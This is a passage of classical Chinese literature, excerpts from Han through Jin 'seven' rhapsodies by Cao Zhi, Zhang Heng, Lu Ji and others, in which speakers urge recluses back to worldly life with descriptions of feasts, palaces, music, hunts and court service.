. 白 华 绿 叶 . 扶 疏 各 荣 . 与 时 代 序 . 孰 不 堕 零 . 黄 景 炫 炫 . 眩 林 曜 封 . 金 衣 素 里 . 班 白 内 充 . 副 以 芋 柘 . 丰 弘 诞 节 . 纤 液 玉 津 . 旨 于 饮 蜜 .\n后 汉 桓 麟 七 说 曰 . 香 萁 为 饭 . 杂 以 梗 菰 . 散 如 细 蚯 . 搏 似 凝 肤 . 河 鼋 之 羹 . 齐 以 兰 梅 . 芳 芬 甘 旨 . 未 咽 先 滋 . 椅 梧 与 梓 . 生 乎 曾 崖 . 上 仰 贯 天 之 山 . 下 临 洞 地 之 溪 . 飞 霜 厉 其 末 . 飙 风 激 其 崖 . 孤 琴 径 其 根 . 杂 鸟 集 其 枝 . 王 良 柏 ○ 全 后 汉 文 二 十 七 作 相 . 其 左 . 造 父 骖 其 右 . 挥 沫 扬 镳 . 焂 忽 长 驱 . 轮 不 暇 转 . 足 不 及 骤 . 腾 虚 逾 浮 . 瞥 若 飙 雾 . 追 慌 忽 . 逐 无 形 . 速 疾 影 之 超 表 . 捷 飞 响 之 应 声 . 超 绝 壑 . 逾 悬 阜 . 驰 猛 禽 . 射 劲 鸟 . 骋 不 失 踪 . 满 不 空 发 . 弹 轻 翼 于 高 冥 . 穷 疾 足 于 方 外 .\n后 汉 崔 琦 七 蠲 曰 . 寒 门 丘 子 有 疾 . 玄 野 子 谓 之 曰 . 蓝 沼 清 池 . 素 波 朱 澜 . 金 钩 芳 饵 . 纤 缴 华 竿 . 沉 鱼 浮 . 荐 以 香 兰 . 幽 室 洞 房 . 绝 槛 垂 轩 . 紫 阁 青 台 . 绮 错 相 连 . 结 实 布 叶 . 与 波 邪 倾 . 从 风 离 合 . 澹 淡 交 并 . 紫 蒂 黄 葩 . 翳 水 吐 荣 . 红 颜 溢 坐 . 美 目 盈 堂 . 姿 喻 春 华 . 橾 越 秋 霜 . 从 容 微 眄 . 流 曜 吐 芳 . 巧 笑 在 侧 . 顾 眄 倾 城 . 玄 野 子 曰 . 爰 有 梧 桐 . 产 乎 玄 溪 . 传 根 朽 壤 . 托 阴 生 危 . 激 水 澡 其 下 . 孤 鸟 集 其 枝 . 罔 双 偶 而 特 立 . 独 飘 飖 而 单 离 . 匠 石 摧 肩 . 公 输 折 首 . 目 眩 肌 战 . 制 以 为 琴 . 子 野 调 操 . 钟 期 听 音 . 子 能 听 之 乎 .\n后 汉 刘 梁 七 举 曰 . 丹 楹 缥 壁 . 紫 柱 虹 梁 . 桷 榱 朱 绿 . 藻 梲 玄 黄 . 镂 以 金 碧 . 杂 以 夜 光 . 鸿 台 百 层 . 干 云 参 差 . 仰 观 八 极 . 游 目 无 涯 . 玉 树 青 葱 . 鸾 鹤 并 栖 . 随 珠 明 月 . 照 曜 其 陂 .\n后 汉 张 衡 七 辩 曰 . 无 为 先 生 . 祖 述 列 仙 . 背 世 绝 俗 . 唯 诵 道 篇 . 形 虚 年 衰 . 志 犹 不 迁 . 于 是 七 辩 谋 焉 . 曰 . 无 为 先 生 . 淹 在 幽 隅 . 藏 声 隐 景 . 灭 迹 穷 居 . 抑 其 不 韪 . 盍 往 辩 诸 . 乃 阶 而 就 之 . 虚 然 子 曰 . 乐 国 之 都 . 设 为 闲 馆 . 工 输 制 匠 . 谲 诡 焕 烂 . 重 屋 百 层 . 连 阁 周 漫 . 应 门 锵 锵 . 华 阙 双 建 . 雕 虫 肜 绿 . ● 虹 蜿 蜒 . 于 是 弹 比 翼 . 落 鹂 黄 . 加 双 鹍 . 经 鸳 鸯 . 然 后 擢 云 舫 . 观 中 流 . 搴 芙 蓉 . 集 芳 洲 . 纵 文 身 . 抟 潜 鳞 . 探 水 玉 . 拔 琼 根 . 收 明 月 之 照 曜 . 玩 赤 瑕 之 璘 豳 . 此 宫 室 之 丽 也 . 子 盍 归 而 处 之 乎 . 雕 华 子 曰 . 玄 清 白 醴 . 蒲 陶 醲 ● . 嘉 肴 杂 醢 . 三 臡 七 菹 . 荔 支 黄 甘 . 寒 梨 干 榛 . 沙 饧 石 蜜 . 远 国 储 珍 . 于 是 乃 有 刍 豢 腯 牲 . 麋 麛 豹 胎 . 飞 凫 栖 鷩 . 养 之 以 时 . 审 其 齐 和 . 适 其 辛 酸 . 芳 以 姜 椒 . 拂 以 桂 兰 . 会 稽 之 菰 . 冀 野 之 梁 . 珍 羞 杂 遝 . 灼 烁 芳 香 . 此 滋 味 之 丽 也 . 子 盍 归 而 食 之 . 安 存 子 曰 . 淮 南 清 歌 . 燕 余 材 舞 . 列 乎 前 堂 . 递 奏 代 叙 . 结 郑 卫 之 遗 风 . 扬 流 哇 而 脉 激 . 楚 鼙 鼓 吹 . 竽 籁 应 律 . 金 石 合 奏 . 妖 冶 邀 会 . 观 者 交 目 . 衣 解 忘 带 . 于 是 乐 中 日 晚 . 移 即 昏 庭 . 美 人 妖 服 . 变 曲 为 清 . 改 赋 新 词 . 转 歌 流 声 . 此 音 乐 之 丽 也 . 子 盍 归 而 听 诸 . 阙 丘 子 曰 . 西 施 之 徒 . 姿 容 脩 嫮 . 弱 颜 回 植 . 妍 夸 闲 暇 . 形 似 削 成 . 腰 如 束 素 . 淑 性 窈 窕 . 秀 色 美 艳 . 鬓 发 玄 髻 . 光 可 以 鉴 . 靥 辅 巧 笑 . 清 眸 流 眄 . 皓 齿 朱 唇 . 的 皪 粲 练 . 于 是 红 华 曼 理 . 遗 芳 酷 烈 . 侍 夕 先 生 . 同 兹 宴 ● . 假 明 兰 灯 . 指 图 观 列 . 蝉 绵 宜 愧 . 夭 绍 纡 折 . 此 女 色 之 丽 也 . 子 盍 归 而 从 之 . 空 桐 子 曰 . 交 址 緅 絺 . 筒 中 之 纻 . 京 城 阿 缟 . 譬 之 蝉 羽 . 制 为 时 服 . 以 适 寒 暑 . 驷 秀 骐 之 駮 骏 . 载 軨 猎 之 輶 车 . 建 采 虹 之 长 旃 . 系 雌 霓 而 为 旗 . 逸 骇 飙 于 青 丘 . 超 广 汉 而 永 逝 . 此 舆 服 之 丽 也 . 子 盍 归 而 乘 之 . 依 卫 子 曰 . 若 夫 赤 松 王 乔 . 羡 门 安 期 . 嘘 吸 沆 瀣 . 饮 醴 茹 芝 . 驾 应 龙 . 戴 行 云 . 桴 弱 水 . 越 炎 氛 . 览 八 极 . 度 天 垠 . 上 游 紫 宫 . 下 栖 仑 . 此 神 仙 之 丽 也 . 子 盍 行 而 求 之 . 先 生 乃 兴 而 言 曰 . 吁 美 哉 . 吾 子 之 诲 . 穆 如 清 风 . 启 乃 嘉 猷 . 寔 慰 我 心 . 矫 然 仰 首 . 邪 睨 玄 圃 . 轩 臂 矫 翼 . 将 飞 未 举 . 髣 无 子 曰 . 在 我 圣 皇 . 躬 劳 至 思 . 参 天 两 地 . 匪 怠 厥 司 . 率 由 旧 章 . 遵 彼 前 谋 . 正 邪 理 谬 . 靡 有 所 疑 . 旁 窥 八 索 . 仰 镜 三 坟 . 讲 礼 习 乐 . 仪 则 彬 彬 . 是 以 英 人 底 材 . 不 赏 而 劝 . 学 而 不 厌 . 教 而 不 倦 . 于 是 二 八 之 俦 . 列 乎 帝 庭 . 揆 事 施 教 . 地 平 天 成 . 然 后 建 明 堂 而 班 辟 雍 . 和 邦 国 而 悦 远 人 . 化 明 如 日 . 下 应 如 神 . 汉 虽 旧 邦 . 其 政 惟 新 . 而 先 生 乃 翻 然 回 面 曰 . 君 子 一 言 . 于 是 观 智 . 先 民 有 言 . 谈 何 容 易 . 予 虽 蒙 蔽 . 不 敏 指 趣 . 敬 授 教 命 . 敢 不 是 务 . 魏 陈 王 曹 植 七 启 曰 . 玄 微 子 隐 于 大 荒 之 庭 . 飞 遯 离 俗 . 澄 神 定 灵 . 轻 禄 傲 贵 . 与 物 无 营 . 于 是 镜 机 子 闻 而 将 往 说 焉 . 驾 超 野 之 驷 . 乘 追 风 之 舆 . 入 乎 泱 漭 之 野 . 遂 届 玄 微 子 之 所 居 . 其 居 也 . 左 激 水 . 右 高 岑 . 背 洞 壑 . 对 芳 林 . 志 飘 飘 焉 . 峣 峣 焉 . 似 若 狭 六 合 . 隘 九 州 . 若 将 飞 而 未 逝 . 举 翼 而 中 留 . 于 是 镜 机 子 顺 风 而 称 曰 . 予 闻 君 子 不 遁 世 以 遗 名 . 智 士 不 背 时 而 灭 勋 . 今 子 弃 道 艺 之 华 . 遗 仁 义 之 英 . 譬 犹 画 形 于 无 象 . 造 响 于 无 声 . 镜 机 子 曰 . 芳 菰 精 稗 . 霜 蓄 露 葵 . 玄 熊 素 肤 . 肥 豢 脓 肌 . 蝉 翼 之 割 . 剖 纤 析 微 . 累 如 叠 縠 . 离 若 散 雪 . 轻 随 风 飞 . 刃 不 转 切 . 山 鵽 斥 鷃 . 珠 翠 之 珍 . 搴 芳 莲 之 巢 龟 . 鲙 西 海 之 飞 鳞 . 臛 江 东 之 潜 鼍 . ● 汉 南 之 鸣 鹑 . 乃 有 春 清 缥 酒 . 康 狄 所 营 . 应 化 即 变 . 感 气 而 成 . 于 是 盛 以 翠 鐏 . 酌 以 雕 觞 . 浮 虮 鼎 沸 . 酷 烈 馨 香 . 可 以 和 神 . 可 以 娱 肠 . 此 肴 馔 之 妙 也 . 子 能 从 我 而 食 之 乎 . 镜 机 子 曰 . 步 光 之 剑 . 采 藻 繁 缛 . 饰 以 文 犀 . 雕 以 翠 绿 . 缀 以 骊 龙 之 珠 . 错 以 荆 山 之 玉 . 陆 断 犀 象 . 未 足 称 俊 . 随 波 截 鸿 . 水 不 渐 刃 . 佩 则 结 绿 悬 黎 . 宝 之 妙 微 . 符 彩 焕 烂 . 流 景 扬 晖 . 黼 黻 之 服 . 罗 縠 之 裳 . 金 华 之 舄 . 动 趾 遗 光 . 此 容 饰 之 妙 也 . 子 能 从 我 而 服 之 乎 . 镜 机 子 曰 . 驾 云 龙 之 飞 驷 . 饰 玉 露 之 繁 缨 . 垂 宛 虹 之 长 绥 . 抗 招 摇 之 华 旌 . 于 是 曳 文 狐 . 掩 狡 兔 . 梢 鹔 鷞 . 拂 振 鹭 . 当 轨 见 藉 . 值 足 遇 践 . 飞 轩 电 逝 . 兽 随 轮 转 . 腾 山 赴 壑 . 风 厉 飙 举 . 形 不 抗 手 . 骨 不 隐 拳 . 野 无 毛 类 . 林 无 羽 群 . 积 兽 如 陵 . 飞 翮 成 云 . 于 是 骇 钟 鸣 鼓 . 收 旌 弛 旆 . 骏 騄 齐 骧 . 扬 銮 飞 沬 . 俯 倚 金 较 . 仰 抚 翠 盖 . 雍 容 暇 预 . 娱 志 方 外 . 此 羽 猎 之 妙 也 . 子 能 随 我 而 观 之 乎 . 镜 机 子 曰 . 彤 轩 紫 柱 . 文 榱 华 梁 . 绮 井 含 葩 . 金 墀 玉 箱 . 温 房 则 冬 服 絺 绤 . 清 室 则 中 夏 含 霜 . 华 阁 缘 云 . 飞 陛 陵 虚 . 俯 视 流 星 . 仰 观 八 隅 . 升 龙 攀 而 不 逮 . 眇 天 际 而 高 居 . 素 水 盈 沼 . 丛 木 成 林 . 飞 翮 陵 高 . 鳞 甲 隐 深 . 乃 使 任 子 垂 钓 . 魏 氏 发 机 . 芳 饵 沉 水 . 轻 缴 弋 飞 . 落 翳 云 之 翔 鸟 . 援 九 渊 之 灵 龟 . 然 后 采 菱 华 . 擢 水 苹 . 弄 珠 蚌 . 戏 鲛 人 . 讽 汉 广 之 所 咏 . 觌 游 女 于 水 滨 . 燿 神 景 于 中 沚 . 被 轻 縠 之 纤 罗 . 遗 芳 烈 而 靖 步 . 抗 皓 手 而 清 歌 . 歌 曰 . 望 云 际 兮 有 好 仇 . 天 路 长 兮 往 无 由 . 佩 兰 蕙 兮 为 谁 脩 . 此 宫 观 之 妙 也 . 子 能 从 我 而 居 之 乎 . 镜 机 子 曰 . 既 游 观 中 原 . 逍 遥 闲 宫 . 情 放 志 荡 . 淫 乐 未 终 . 亦 将 有 才 人 妙 妓 . 遗 世 超 俗 . 扬 北 里 之 流 声 . 绍 阳 阿 之 妙 曲 . 尔 乃 御 文 轩 . 临 彤 庭 . 琴 瑟 交 弹 . 左 篪 右 笙 . 然 后 姣 人 . 乃 被 文 縠 之 华 褂 . 振 轻 绮 之 飘 飖 . 戴 金 摇 之 熠 烁 . 扬 翠 羽 之 双 翘 . 翻 尔 鸿 翥 . 濈 然 凫 没 . 纵 轻 躯 以 迅 赴 . 影 追 形 而 不 逮 . 为 欢 未 泄 . 白 日 西 颓 . 乐 散 变 饰 . 微 步 中 闺 . 玄 眉 弛 兮 铅 华 落 . 收 乱 发 兮 拂 兰 泽 . 红 颜 既 笑 . 睇 盻 流 光 . 时 与 吾 子 . 携 手 同 行 . 践 飞 除 . 即 闲 房 . 华 烛 烂 . 罗 帱 张 . 动 朱 唇 . 发 清 商 . 九 秋 之 夕 . 为 欢 未 央 . 此 声 色 之 妙 也 . 子 能 从 我 而 游 之 乎 . 镜 机 子 曰 . 余 闻 君 子 乐 奋 节 以 显 义 . 列 士 甘 危 躯 以 成 仁 . 重 气 轻 命 . 感 分 忘 身 . 故 田 光 伏 剑 于 北 燕 . 公 叔 毕 命 于 西 秦 . 辞 未 终 而 玄 微 子 曰 . 善 . 镜 机 子 曰 . 此 乃 游 侠 之 徒 耳 . 若 夫 田 文 无 忌 之 畴 . 乃 上 古 之 俊 公 子 也 . 皆 飞 仁 扬 义 . 腾 跃 道 艺 . 游 心 无 方 . 抗 志 云 际 . 凌 轹 诸 侯 . 驱 驰 当 世 . 挥 袂 则 九 野 生 风 . 慷 慨 则 气 成 虹 蜺 . 吾 子 当 此 之 时 . 岂 能 从 我 而 友 之 乎 . 镜 机 子 曰 . 时 有 圣 宰 . 翼 帝 霸 世 . 同 量 干 坤 . 等 明 日 月 . 玄 化 参 辰 . 与 灵 合 契 . 越 隆 平 于 殷 周 . 踵 羲 皇 而 齐 泰 . 显 朝 惟 清 . 皇 道 遐 均 . 民 望 如 草 . 我 泽 如 春 . 是 以 俊 乂 来 仕 . 观 国 之 光 . 故 甘 露 纷 而 晨 降 . 景 星 宵 而 舒 光 . 观 游 龙 于 神 渊 . 聆 鸣 凤 于 高 冈 . 然 主 上 犹 以 沉 恩 之 未 广 . 惧 声 教 之 未 厉 . 采 英 奇 于 仄 陋 . 宣 皇 明 于 岩 穴 . 此 宁 子 商 歌 之 秋 . 而 吕 望 所 以 投 纶 而 逝 也 . 于 是 玄 微 子 攘 袂 而 兴 曰 . 伟 哉 言 乎 . 令 予 廓 然 . 身 轻 若 飞 . 愿 反 初 服 . 从 子 而 归 .\n魏 徐 干 七 喻 曰 . 有 逸 俗 先 生 者 . 耦 耕 乎 岩 石 之 下 . 栖 迟 乎 穹 谷 之 岫 . 万 物 不 干 其 志 . 王 公 不 易 其 好 . 寂 然 不 动 . 莫 之 能 惧 . 宾 曰 . 大 宛 之 牺 . 三 江 之 鱼 . 云 鸧 水 鹄 . 禽 蹯 豹 胎 . 黼 帱 施 于 宴 室 . 华 蓐 布 乎 象 床 . 悬 明 珠 于 长 韬 . 烛 宵 夜 而 为 阳 . 玄 鬓 拟 于 云 雾 . 艳 色 过 乎 芙 蓉 . 扬 蛾 眉 而 微 睇 . 虽 毛 施 其 不 当 .\n魏 王 粲 七 释 曰 . 潜 虚 丈 人 . 违 世 遁 俗 . 恬 淡 清 玄 . 浑 沌 淳 朴 . 薄 礼 愚 学 . 无 为 无 欲 . 均 同 死 生 . 混 齐 荣 辱 . 于 是 大 夫 闻 而 叹 曰 . 盖 闻 君 子 不 以 志 易 道 . 不 以 身 后 时 . 进 德 脩 业 . 与 世 同 理 . 今 子 深 藏 其 身 . 高 栖 其 志 . 外 无 所 营 . 内 无 所 事 . 邯 郸 才 女 . 三 齐 巧 士 . 名 唱 秘 舞 . 承 闲 并 理 . 七 盘 陈 于 广 庭 . 畴 人 俨 其 齐 俟 . 翩 飘 微 霍 . 乱 精 荡 神 . 巴 渝 代 起 . 鞞 铎 响 振 . 农 功 既 登 . 玄 阴 戒 寒 . 及 致 众 庶 . 大 猎 中 原 . 植 旌 柎 表 . 班 授 行 曲 . 网 连 罝 . 弥 山 跨 谷 . 弦 不 虚 控 . 矢 不 徒 往 . 僵 禽 连 积 . 陨 鸟 若 雨 . 丽 才 美 色 . 希 世 特 立 . 丰 肤 曼 肌 . 弱 骨 纤 形 . 鬒 发 玄 鬓 . 脩 项 秀 颈 . 红 颜 照 曜 . 晔 若 苕 荣 . 戴 明 中 之 羽 雀 . 杂 华 镊 之 葳 蕤 . 珥 照 夜 之 双 珰 . 焕 爚 以 垂 晖 . 圣 人 在 位 . 时 迈 其 德 . 先 天 弗 违 . 稽 若 古 则 . 叡 哲 文 明 . 允 恭 玄 塞 . 登 俊 乂 于 垄 亩 . 举 贤 才 于 仄 微 . 置 彼 周 行 . 列 于 邦 畿 . 九 德 咸 事 . 百 僚 师 师 . 于 是 四 海 之 内 . 咸 变 时 雍 . 普 天 率 土 . 比 屋 可 封 . 是 以 栖 林 隐 谷 之 夫 . 逸 迹 放 言 之 士 . 鉴 乎 有 道 . 贫 贱 是 耻 .\n魏 刘 邵 七 华 曰 . 玄 休 先 生 . 弃 世 遁 名 . 藏 身 于 虚 廓 . 绝 影 于 无 形 . 荣 时 子 闻 而 往 焉 . 曰 . 仆 闻 至 人 之 生 世 也 . 必 承 天 地 之 时 势 . 统 万 物 之 纮 纲 . 生 有 九 鼎 之 秩 . 没 有 祀 典 之 常 . 仆 将 为 先 生 陈 天 下 之 远 图 . 论 品 物 之 弘 式 . 规 人 事 之 荣 华 . 传 情 志 之 所 极 . 荣 时 子 曰 . 追 风 之 马 . 出 自 遐 裔 . 状 若 逸 虬 . 莫 能 羁 制 . 践 路 蹑 节 . 迅 驱 机 发 . 后 不 可 及 . 前 不 可 越 . 寻 越 逸 响 . 追 晷 逐 □ . 荣 时 子 曰 . 三 时 既 毕 . 玄 冬 效 节 . 木 落 草 弊 . 鸟 窜 兽 穴 . 尔 乃 驾 六 虬 . 乘 雕 轩 . 载 金 钲 . 鸣 玉 銮 . 鼓 与 雷 起 . 野 火 电 延 . 声 与 天 属 . 熛 与 霓 连 . 荣 时 子 曰 . 洞 庭 之 鱄 . 出 于 江 崏 . 红 腴 青 鲈 . 朱 尾 碧 鳞 . 金 光 镜 野 . 旌 旗 曜 天 . 雷 辎 翳 路 . 风 马 如 云 . 于 是 三 辰 增 曜 . 大 明 重 光 . 醴 泉 波 流 . 芝 圃 扬 芳 . 毛 群 率 舞 . 羽 族 回 翔 . 聆 九 韶 之 声 变 . 仪 矩 步 之 跄 跄 . 感 神 人 而 怀 异 物 . 宁 九 有 而 绥 八 荒 .\n晋 张 协 七 命 曰 . 冲 漠 公 子 . 含 华 隐 曜 . 嘉 遁 龙 盘 . 越 世 高 蹈 . 绝 景 乎 大 荒 之 遐 阻 . 答 响 乎 幽 山 之 穷 奥 . 于 是 殉 华 大 夫 . 闻 而 造 焉 . 乃 整 云 辂 . 参 飞 黄 . 越 奔 沙 . 辗 流 霜 . 天 清 冷 而 无 霞 . 野 旷 朗 而 无 尘 . 临 重 岫 而 揽 辔 . 顾 石 室 而 回 轮 . 于 是 登 绝 巘 . 溯 长 风 . 陈 辩 惑 之 辞 . 命 公 子 于 岩 中 . 大 夫 曰 . 寒 山 之 桐 . 出 自 大 冥 . 含 黄 钟 以 吐 干 . 据 苍 岑 而 孤 生 . 晞 三 春 之 溢 露 . 溯 九 秋 之 鸣 飙 . 零 雪 泻 其 根 . 霏 霜 封 其 条 . 木 既 繁 而 后 绿 . 草 未 素 而 先 凋 . 营 匠 斫 其 朴 . 伶 伦 均 其 声 . 若 乃 龙 火 西 颓 . 暄 风 初 收 . 飞 霜 迎 节 . 高 风 送 秋 . 羁 旅 怀 土 之 徒 . 流 宕 百 罹 之 俦 . 抚 促 柱 则 酸 鼻 . 挥 危 弦 则 涕 流 . 大 夫 曰 . 应 门 八 袭 . 琁 台 九 重 . 表 以 百 常 之 阙 . 图 以 万 雉 之 墉 . 峣 树 迎 风 . 秀 出 中 天 . 翠 观 青 岑 . 雕 阁 霞 连 . 长 翼 临 云 . 飞 陛 陵 山 . 望 玉 绳 而 结 极 . 承 倒 景 而 开 轩 . 重 殿 叠 起 . 交 绮 对 幌 . 幽 堂 昼 密 . 明 室 夜 朗 . 焦 螟 飞 而 生 风 . 尺 蠖 动 而 成 响 . 大 夫 曰 . 若 乃 白 商 素 节 . 时 既 授 衣 . 天 凝 地 闭 . 风 厉 霜 飞 . 柔 条 夕 劲 . 密 叶 晨 稀 . 将 因 气 以 效 杀 . 临 金 郊 而 讲 师 . 内 无 疏 蹊 . 外 无 漏 迹 . 叩 钲 数 校 . 举 麾 赞 获 . 大 夫 曰 . 范 公 之 鳞 . 出 自 九 溪 . 赪 尾 丹 腮 . 紫 翼 青 髯 . 尔 乃 命 支 离 . 飞 霜 锷 . 红 肌 绮 散 . 素 肤 雪 落 . 娄 子 之 豪 . 不 能 厕 其 细 . 秋 蝉 之 翼 . 不 足 拟 其 薄 . 大 夫 曰 . 楚 之 阳 剑 . 区 冶 所 营 . 耶 溪 之 铤 . 赤 山 之 精 . 销 逾 羊 头 . 鍱 越 锻 成 . 流 绮 星 连 . 浮 彩 艳 发 . 光 如 散 电 . 质 如 濯 雪 . 指 郑 则 三 军 白 首 . 麾 晋 则 千 里 流 血 . 形 震 薛 烛 . 光 骇 风 湖 . 或 驰 名 倾 秦 . 或 夜 飞 去 吴 . 大 夫 曰 . 乃 有 荆 南 乌 程 . 豫 北 竹 叶 . 浮 虮 星 沸 . 飞 华 萍 接 . 玄 石 尝 其 味 . 仪 氏 进 其 法 . 倾 罍 一 朝 . 可 以 流 湎 千 日 . 单 醪 投 川 . 可 使 三 军 告 捷 . 斯 又 神 人 之 所 歆 羡 . 观 听 之 所 炜 晔 .\n晋 陆 机 七 征 曰 . 玄 虚 子 耽 性 冲 素 . 雍 容 玄 泊 . 弃 时 俗 而 弗 徇 . 甘 鱼 钓 于 一 壑 . 乃 有 通 微 大 夫 . 怨 皇 居 之 失 宝 . 伤 鸿 誓 之 后 闻 . 荣 玄 黄 于 榛 险 . 凭 穴 岩 而 放 言 . 通 微 大 夫 曰 . 奇 膳 玉 食 . 穷 滋 致 丰 . 简 牺 羽 族 . 考 生 毛 宗 . 俯 出 沉 鲔 . 仰 落 归 鸿 . 剖 柔 胎 于 孕 豹 . 宰 潜 肝 乎 豢 龙 . 拾 朝 阳 之 遗 卵 . 纳 丹 穴 之 飞 凰 . 神 宰 奇 稌 . 嘉 禾 之 穗 . 含 滋 发 馨 . 素 颖 玉 锐 . 灼 若 皓 雪 之 颓 玄 云 . 皎 若 明 珠 之 积 缁 匮 . 素 虮 踊 而 瀺 灂 . 滋 芬 溢 而 相 徽 . 味 虽 浓 而 弗 爽 . 气 既 惠 而 复 . ○ 本 集 复 下 有 奇 字 . 介 景 福 于 眉 寿 . 裕 温 克 乎 齐 圣 . 子 能 飨 之 乎 . 通 微 大 夫 曰 . 丰 屋 华 殿 . 奇 构 磊 落 . 高 宇 云 覆 . 千 楹 林 错 . 仰 绥 瑰 木 . 俯 积 瓀 石 . 敷 延 袤 之 广 庑 . 矫 陵 霄 之 高 阁 . 秀 清 晖 乎 云 表 . 腾 藻 荫 之 弈 弈 . 珍 观 清 榭 . 岳 立 连 行 . 云 阶 飞 陛 . 仰 陟 穹 苍 . 耸 浮 柱 而 虬 立 . 施 飞 檐 以 龙 翔 . 回 房 旋 室 . 缀 琳 袭 玉 . 图 画 神 仙 . 延 佑 承 福 . 悬 闼 高 达 . 长 廊 回 属 . 于 是 登 渐 台 . 理 俊 音 . 镜 玄 沚 . 望 长 林 . 逐 狡 兽 . 弋 轻 禽 . 览 壮 艺 以 悦 观 . 聆 和 乐 而 怡 心 . 子 能 居 之 乎 . 通 微 大 夫 曰 . 金 石 谐 而 齐 响 . 埙 篪 协 而 和 鸣 . 于 是 才 人 进 羽 籥 . 玄 弁 被 藻 袭 . 俯 萦 领 以 鸿 归 . 仰 矫 首 而 鹤 立 . 激 长 歌 于 丹 唇 . 发 铿 锵 乎 柔 木 . 合 清 商 以 绝 节 . 挥 流 征 而 赴 曲 . 奏 南 荆 之 高 叹 . 咏 易 水 之 清 角 . 尔 乃 睹 蛾 眉 之 群 丽 . 羌 既 都 而 又 闲 . 矫 纤 腰 以 逐 节 . 顿 皓 足 于 鼓 盘 . 舒 妍 晖 以 妖 韶 . 若 陵 危 之 未 安 . 通 微 大 夫 曰 . 盖 闻 沬 北 有 采 唐 之 思 . 淇 上 有 送 子 之 勤 . 关 雎 以 寤 寐 为 戚 . 溱 洧 以 谑 浪 为 欢 . 若 夫 妖 嫔 艳 女 . 搜 群 擢 俊 . 穆 藻 仪 于 令 表 . 茂 当 年 之 柔 嫚 . 罄 妍 规 之 约 绰 . 体 每 变 而 增 闲 . 秀 红 蕤 其 愉 愉 . 若 余 颖 之 可 餐 . 若 夫 灵 晷 潜 . 祖 颜 退 . 羽 觞 升 . 清 琴 厉 . 因 清 明 以 宣 诚 . 流 微 睇 而 授 爱 . 纤 手 挥 而 鸣 佩 铿 . 华 衿 被 则 芳 尘 萃 . 子 其 纳 之 乎 . 通 微 大 夫 曰 . 涂 有 殊 而 一 致 . 业 有 殊 而 名 约 . 各 因 姿 以 效 绩 . 期 寄 响 于 天 人 也 . 孰 与 显 奇 踪 于 万 邦 . 抚 六 辔 而 高 游 . 瞰 八 宇 以 摅 眄 . 济 清 风 乎 诸 侯 . 言 成 否 泰 . 气 作 温 凉 . 弭 侵 略 于 彊 暴 . 综 坠 纪 乎 危 邦 . 子 岂 不 愿 斯 之 雍 容 乎 . 通 微 大 夫 曰 . 明 主 应 期 . 抚 民 以 德 . 配 仁 风 于 黄 唐 . 齐 威 灵 乎 宸 极 . 彝 伦 幸 序 . 庶 绩 咸 乂 . 荡 流 风 于 雍 俗 . 给 天 民 乎 齐 泰 . 是 以 玄 灵 感 而 表 应 . 嘉 神 繁 而 毕 觌 . 舞 唐 庭 之 来 仪 . 鸣 岐 阳 之 鸑 鷟 . 膺 天 监 之 休 命 . 荷 神 听 之 介 福 . 然 圣 主 达 持 盈 之 宝 术 . 寤 经 国 之 在 贤 . 各 毕 荣 于 分 局 . 期 赞 化 于 大 钧 . 吾 子 岂 不 欲 縻 好 爵 于 天 宇 . 显 列 业 乎 帝 臣 欤 . 玄 虚 子 作 而 曰 . 甚 哉 . 鄙 人 之 惑 也 . 犹 穷 绳 自 逸 于 井 干 . 凭 河 盗 本 于 黄 川 . 钦 至 论 . 敷 蔽 衽 . 谨 闻 命 于 王 孙 . 晋 湛 方 生 七 欢 曰 . 有 岩 栖 先 生 者 . 学 道 养 生 . 离 亲 绝 俗 . 漱 清 泉 . 荫 茂 木 . 慕 赤 松 之 清 尘 . 乃 餐 霞 而 绝 谷 . 朝 隐 大 夫 . 寻 条 援 葛 . 往 而 问 之 曰 . 营 中 都 以 起 馆 . 指 土 圭 以 正 宫 . 宅 既 平 而 土 沃 . 寔 商 旅 之 所 通 . 究 精 巧 之 妙 思 . 尽 土 木 之 所 穷 . 南 轩 高 馆 . 北 连 脩 堂 . 左 亘 东 序 . 右 列 西 厢 . 飞 甍 云 构 . 轩 轩 锵 锵 . 连 栋 抗 榱 . 若 飞 若 翔 . 幽 笼 纳 响 . 素 壁 流 光 . 乃 有 倾 城 之 色 . 玉 质 凤 章 . 手 习 清 弄 . 心 达 宫 商 . 子 能 从 我 而 玩 之 乎 . 大 夫 曰 . 岁 季 月 除 . 大 蜡 始 节 . 繁 霜 朝 氛 . 凄 风 夕 发 . 策 龙 驷 以 偕 逝 . 问 虞 人 于 中 林 . 审 蹊 径 之 所 由 . 之 此 泽 之 多 禽 . 前 批 猛 兽 . 后 拉 黄 罴 . 声 不 得 发 . 爪 不 暇 施 . 此 游 猎 之 壮 观 . 子 能 从 我 而 观 之 乎 . 大 夫 曰 . 青 阳 开 运 . 和 气 流 人 . 天 无 纤 翳 . 地 无 飞 尘 . 五 湖 静 波 . 四 渎 凝 津 . 命 向 方 之 嘉 友 . 聊 泛 舟 以 游 春 . 此 舟 之 骏 游 . 子 能 从 我 而 乘 之 乎 . 大 夫 曰 . 有 峄 山 之 孤 桐 . 生 千 仞 之 峻 峤 . 乘 危 岩 以 托 根 . 闲 丹 霞 而 竦 标 . 苦 严 霜 之 凄 切 . 困 寒 风 之 萧 条 . 若 乃 清 秋 遥 夜 . 器 朗 弦 彻 . 闲 心 理 气 . 临 流 镜 月 . 伯 牙 挥 爪 以 清 弄 . 钟 期 中 曲 而 抚 节 . 子 能 从 我 而 听 之 乎 . 大 夫 曰 . 良 畴 沃 壤 . 傍 山 之 阿 . 灵 泽 津 其 根 . 春 露 染 其 禾 . 上 荫 玄 云 轻 霭 . 下 流 石 泉 清 波 . 含 山 泽 之 清 润 . 结 玉 实 于 秋 霜 . 简 嘉 穗 以 精 微 . 璀 冰 散 而 珠 光 . 酿 缥 醪 于 九 秋 . 蕴 二 日 于 三 阳 . 米 望 曲 而 冰 消 . 瓮 未 启 而 流 芳 . 此 五 谷 之 精 液 . 子 能 从 我 而 尝 之 乎 . 大 夫 曰 . 生 乎 三 季 之 世 . 隔 乎 大 国 之 闲 . 戎 马 生 于 郊 畿 . 英 雄 森 以 比 肩 . 意 气 冠 宇 宙 . 豪 势 扼 丘 山 . 强 虏 元 师 . 悬 首 大 白 . 勋 勒 王 府 . 功 刊 金 石 . 此 不 世 之 奇 功 . 子 能 从 我 而 立 之 乎 . 大 夫 曰 . 盖 闻 至 道 以 无 主 员 应 . 橐 籥 以 内 虚 无 穷 . 阴 阳 以 烟 熅 咸 化 . 五 行 之 守 分 相 攻 . 是 以 抚 往 运 而 长 揖 . 因 归 风 而 回 轩 . 